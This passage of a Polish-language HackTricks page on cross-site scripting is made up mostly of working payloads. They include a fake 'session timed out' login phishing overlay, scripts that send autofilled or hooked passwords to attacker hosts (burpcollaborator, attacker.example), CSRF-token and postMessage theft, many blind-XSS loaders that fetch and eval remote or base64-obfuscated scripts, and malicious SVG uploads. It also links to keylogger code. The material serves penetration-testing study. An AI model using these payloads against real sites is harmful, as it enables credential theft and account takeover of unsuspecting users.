<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Przechwytywanie haseł z autouzupełniania
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kiedy w polu password zostanie wprowadzona jakakolwiek wartość, username i password są wysyłane na serwer atakującego — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Jeśli krytyczny handler (np. function DoLogin(){...}
) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. przez inline JS-in-JS sink), zdefiniuj najpierw const
o tej samej nazwie, żeby preempt and lock the handler. Późniejsze deklaracje funkcji nie mogą rebindować nazwy const
, dzięki czemu twój hook pozostaje w kontroli:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notatki
- To zależy od kolejności wykonania: Twoje wstrzyknięcie musi zostać wykonane przed prawidłową deklaracją.
- Jeśli Twój payload jest opakowany w
eval(...)
, powiązaniaconst/let
nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania<script>
z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe, globalne, niemożliwe do ponownego przypisania wiązanie. - Gdy filtry słów kluczowych blokują kod, połącz to z Unicode-escaped identifiers lub dostarczeniem przez
eval(atob('...'))
, jak pokazano powyżej.
Keylogger
Szybkie przeszukanie github pozwoliło mi znaleźć kilka różnych:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Kradzież wiadomości PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abusing Service Workers
Accessing Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Możesz także użyć: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Dostęp do ukrytej zawartości
Z this writeup można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć, nawet po usunięciu wartości pola input regexu:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS — wykorzystywanie innych podatności
XSS w Markdown
Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda się uzyskać XSS! Sprawdź:
XSS to SSRF
Masz XSS na stronie, która używa pamięci podręcznej? Spróbuj podnieść to do SSRF przez Edge Side Include Injection przy użyciu tego payloadu:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
Więcej informacji o tej technice tutaj: XSLT.
XSS w dynamicznie tworzonym pliku PDF
Jeśli strona WWW tworzy PDF, używając danych kontrolowanych przez użytkownika, możesz spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS.
Jeśli więc bot tworzący PDF znajdzie jakiś rodzaj tagów HTML, będzie je interpretował, i możesz wykorzystać to zachowanie, aby spowodować Server XSS.
Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować wstrzyknąć dane PDF:
XSS w Amp4Email
AMP, mające na celu przyspieszenie wydajności stron WWW na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez AMP components.
Format AMP for Email rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach.
Przykład writeup XSS in Amp4Email in Gmail.
XSS przy przesyłaniu plików (svg)
Prześlij jako obraz plik podobny do poniższego (z http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Znajdź więcej SVG payloads w https://github.com/allanlw/svg-cheatsheet
Różne JS Tricks & istotne informacje
Misc JS Tricks & Relevant Info
Zasoby XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referencje
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.